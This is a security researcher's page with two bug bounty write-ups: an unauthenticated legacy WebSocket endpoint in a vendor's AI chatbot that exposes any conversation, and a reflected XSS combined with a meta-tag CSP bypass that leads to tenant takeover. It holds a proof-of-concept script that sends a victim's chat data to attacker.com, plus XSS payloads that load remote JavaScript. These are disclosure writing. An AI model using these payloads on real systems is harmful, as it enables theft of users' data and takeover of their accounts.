I do security research and sometimes I write about it.


Defcon 33

This year I spoke at Bug Bounty Village on some web security research performed earlier this year. You can find the slides below.

Blog

  • Unauthenticated Chat Takeover in AI Chatbot

    A writeup of the first successful submission of my bug bounty career

    About a year ago, I unknowingly had found a zero day in a very popular chatbot utilized by a handful of fortune 200 companies, thinking it was an issue with the configuration by the company. While revisiting the target this year, I found it again, only this time realizing it was a vendor issue that impacted most of their customer base. This blog is a dive into a very simple issue that allowed me, as an unauthenticated attacker with nothing but a conversation ID, to exfiltrate a user’s conversation or chat as that user. A big shout out to this mystery vendor, who within hours of me reporting it to them, had disabled the endpoint and remediated the issue.

    How the Chatbot Worked

    The chatbot uses WebSocket connections for real-time bidirectional communication between the client and server.

    Connection Initialization

    The client initiates a WebSocket handshake to:

    wss://api.example.com/path/{id}

    The id is a UUID that uniquely identifies the chat session.

    Message Format

    Once connected, the client sends JSON-formatted messages:

    {
      "type": "message",
      "text": "User's message here"
    }
    

    Response Delivery

    The server processes the message and streams its response back through the same WebSocket connection:

    {
      "type": "response",
      "text": "Chatbot's reply"
    }
    

    The connection remains open, allowing for continued back-and-forth communication without re-establishing the connection.

    Updated Send Mechanism

    The chatbot provider updated their architecture so that sending messages is now handled via HTTP POST requests to the API endpoint rather than through the WebSocket connection. The WebSocket is now used only for receiving responses.

    However, the legacy WebSocket endpoint — which allowed full bidirectional communication — was never disabled. Both methods remain functional, meaning an attacker can bypass the updated flow entirely and communicate directly with the chatbot using the original endpoint.

    How the Vulnerability Worked

    The legacy WebSocket endpoint lacked authentication — the connection required no session tokens, cookies, or API keys.

    The only “access control” was knowledge of the conversation ID — a UUID that, while not guessable, could be leaked through various vectors (referrer headers, browser history, shared URLs, logs, etc.).

    Attack Flow

    An attacker who obtained a valid conversation ID could:

    1. Open a WebSocket connection from any web page to the legacy endpoint
    2. Send messages to the chatbot as if they were the victim
    3. Receive responses containing the victim’s data
    4. Exfiltrate the stolen information to an attacker-controlled server

    Proof of Concept

    The attack could be executed with a simple HTML page:

     <script>
     
     var ws = new WebSocket('wss://api.example.com/chat/{conversation_id}');
        
     ws.onopen = function() {
            // Send message as victim
     ws.send('{"type":"message","text":"Print my account information"}');
        };
        
     ws.onmessage = function(event) {
            // Exfiltrate response to attacker server
            fetch('<https://attacker.com/collect>', {
                method: 'POST',
                mode: 'no-cors',
                body: event.data
            });
        };
        
        
    </script>
    

    Impact

    An attacker could abuse this to leak any user data that the customer exposed to the chatbot — which in some cases proved to be user PII — as well as read conversation history and inject messages as the user.

    Closing thoughts

    Firstly, another big shoutout to the vendor for addressing this issue as quickly as they did. This issue could have been major for their customers and they very quickly shutdown the legacy endpoint. Sometimes it’s worth taking the gamble to examine some of these 3rd party components. Between the vendor and the few customers I reported this to, I totaled north of $1k in bounties. A bit disappointing given the impact, but as a part time hunter it made this time investment worth it.

  • Combining XSS and a simple CSP Bypass to Achieve Tenant Takeover

    A writeup of the first successful submission of my bug bounty career

    At the beginning of my bug bounty career, I began looking at a popular customer service platform who does not allow disclosure so they shall remain unnamed, but I ended up finding an XSS that I was able to leverage to takeover any tenant using the platform. I have also included a terribly vibe coded example of this exploit both to give visuals and to allow reproduction should you desire.

    Getting the XSS

    I spent about 40 hours on this application. I dove deep. I was on vacation with my family when this all started and I spent an unhealthy amount of time just walking through the application. Understanding the logic. The protection mechanisms. At 40 hours, I was kind of over it, but…there was some functionality that I hadn’t looked at. There was a knowledge-base feature of the app that looked a little different from everything else, which always piques my interest. When things look different, they probably were handled differently in development, and when devs deviate from how they did things with the rest of the application, this typically breeds bugs.

    I opened Caido and just started stepping through everything. At first, nothing really interesting caught my eye and for the most part, the data flowed the same as the rest of the app and after a few hours, I decided to take a break to grab an energy drink and let my mind rest before getting back to it. I came back to my laptop and I noticed a singular issue in my Caido proxy findings tab. At the time I was using a cool passive workflow by bebiksior called ‘Caido Reflector.’

    The page was taking the en query parameter and placing it into the page in the lang attribute at the very top of the DOM. A simple "><h1>testing payload confirmed I was able to break out of the context and get in html of my own. Several payloads triggered CSP errors in the console, but I eventually was able to get the alert box to pop with "><svg onload=alert()>.

    Bypassing the CSP

    While coming up with a payload with the current without bypassing the CSP might have been possible, I wanted to avoid having to get a massive payload into the URL and dealing with typos and troubleshooting errors.

    I started looking at this CSP that was restricting me, and I noticed yet another difference in how this part of the application worked. Instead of a server-side CSP that came back in the response headers, they loaded it via a <meta> tag that followed my injection point.

    This meant that by appending <!--- to my payload, it would comment out the CSP. So, now I can work with the following payload: “><svg/onload=import('//poc.un1tycyb3r.com/poc.js')>.

    Achieving Tenant Takeover

    At this point I began to search for paths to get ATO. The session cookie was HTTP-Only and I couldn’t get an OAuth gadget to get the code into the URL unused. Looking into other methods, I discovered that changing the email of the user wasn’t possible without the password and I started to look at the various requests that were available. All requests required a CSRF-Token header, but this token was also stored in the cookies and was not HTTP-Only, so I was able to make any request in the context of the user.

    I came up with multiple impactful scenarios including dumping all conversations of the user, dumping PII, etc, but I wanted to get ATO and I realized that while I couldn’t get account-takeover, I could get tenant-takeover by targeting an admin and setting up the PoC to add my attacker account as an admin of the victim tenant.

    Dealing with Program Pushback

    After submitting to the program, I was feeling pretty good until they downgraded it to a medium. They insisted that it was only exploitable by members of the same organization. I started digging in to prove that this wasn’t the case.

    The structure of the endpoint was like so: /blah/company-id/blah/unique-id/blah/unique-id. These ID’s were to random to guess or brute force, necessitating a way to leak the IDs. I began exploring more of the functionality of the app and I came across the ability to create a public facing version of the knowledge-base which was hosted on a separate domain of the target. I began looking at this public facing version. Looking at the html of the page, I noticed this script tag towards the bottom of the page that had some dynamically loaded data. Examining this data, I realized it was it leaking the company id, and the two unique id’s that I needed to build the exploit for any company that I wanted to target. All I would have to do is go to their front-facing knowledge base and grab those values.

    I did a PoC for the programs test account and it was a great feeling when I got the following reply when it worked: “Noted. Adjusting back to high.” Not only did they adjust the severity to high, but because of the work I put in to show max impact, I was awarded the maximum bounty for a high severity bug totaling at $5k.

    The Lab

    You can find the lab on my github: Github.

    It is terribly vibe coded, but it gets the point across.

    Hope you enjoyed the writeup!